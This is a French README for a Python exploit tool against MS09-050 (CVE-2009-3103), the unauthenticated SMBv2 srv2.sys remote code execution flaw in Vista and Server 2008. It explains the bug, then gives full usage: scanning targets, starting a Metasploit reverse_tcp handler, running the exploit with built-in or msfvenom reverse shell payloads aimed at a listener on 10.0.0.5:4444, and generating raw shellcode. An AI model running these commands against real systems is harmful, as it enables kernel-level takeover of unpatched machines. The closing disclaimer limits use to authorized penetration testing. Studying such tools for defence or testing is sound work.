Exploit Python pour MS09-050 (CVE-2009-3103), débordement de tampon SMBv2 srv2.sys, avec scanner de vulnérabilité, auto-détection d'architecture et payloads de reverse shell x86/x64.
CVE-2009-3103
Windows Vista et Server 2008 ont introduit SMBv2 avec un nouveau pilote noyau, srv2.sys. Ce pilote ne parvient pas à valider le champ Process Id High dans les requêtes de négociation SMB. En envoyant une valeur spécialement conçue dans ce champ, un attaquant amène srv2.sys à indexer dans une table de pointeurs de fonction avec une valeur contrôlée, déréférençant une adresse fournie par l'attaquant.
Le résultat est une exécution de code arbitraire en contexte noyau, sans authentification requise. L'attaquant a seulement besoin d'atteindre le port 445.
Microsoft a corrigé cette vulnérabilité en octobre 2009 (KB975517). Tout système Vista SP1/SP2 ou Server 2008 SP1 non corrigé est vulnérable.
| Système d'exploitation cible | Architecture |
|---|
| Windows Vista SP1 | x86 |
| Windows Vista SP2 | x86 / x64 |
| Windows Server 2008 SP1 | x86 / x64 |
| Windows Server 2008 SP1 (pre-R2) | x64 |
--msf-payload optionnel pour choisir un payload personnalisé-s)[+] succès, [-] erreur, [!] avertissement, [*] informationgit clone https://github.com/bytejmp/MS09-050.git
cd MS09-050
Prérequis :
rpcclient (du paquet smbclient), utilisé pour déclencher le payload après l'injectionmsfvenom, nécessaire uniquement si vous utilisez l'option --msfvenomSur Debian/Ubuntu :
sudo apt install smbclient
Sur Arch Linux :
sudo pacman -S smbclient
python3 MS09.py scan -t 192.168.1.10
Sortie :
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050
Utilise un stager meterpreter/reverse_tcp. Démarrez d'abord votre handler :
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"
Puis lancez l'exploit :
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444
Générez le shellcode brut une fois, réutilisez-le sans msfvenom :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin
Puis fournissez-le à l'exploit :
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86
$ python3 MS09.py -h
usage: MS09.py [-h] {scan,exploit} ...
MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)
positional arguments:
{scan,exploit} Operation mode
scan Scan target for MS09-050 vulnerability
exploit Send exploit to target
$ python3 MS09.py exploit -h
usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
(--payload | --msfvenom | -s FILE)
[-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]
options:
-t, --target Target IP address
-P, --port SMB port (default: 445)
-a, --arch Target architecture (auto-detected if omitted)
--payload Use built-in reverse shell payload (no Metasploit needed)
--msfvenom Generate shellcode with msfvenom
--msf-payload msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
-s, --shellcode Path to raw shellcode file
-l, --lhost Listener IP address
-p, --lport Listener port
MS09/
├── MS09.py # Main entry point
├── README.md
└── lib/
├── __init__.py
├── output.py # Standardized output formatting
├── scanner.py # SMBv2 vulnerability scanner
├── payloads.py # Built-in shellcode (reverse TCP shell)
└── exploit.py # Exploit buffer construction and delivery
Negotiate Protocol Request SMB1 pour identifier la version du système d'exploitation et l'architecture de la ciblesrv2.sysCet outil est fourni uniquement à des fins de tests d'intrusion autorisés et d'éducation.
L'accès non autorisé à des systèmes informatiques est une infraction pénale dans la plupart des juridictions. Vous devez obtenir une autorisation écrite explicite du propriétaire du système avant d'utiliser cet outil contre toute cible. Les auteurs n'assument aucune responsabilité et ne sont pas responsables de toute mauvaise utilisation ou de tout dommage causé par ce logiciel.
En utilisant cet outil, vous acceptez que :
Utilisez de manière responsable. Hackez éthiquement.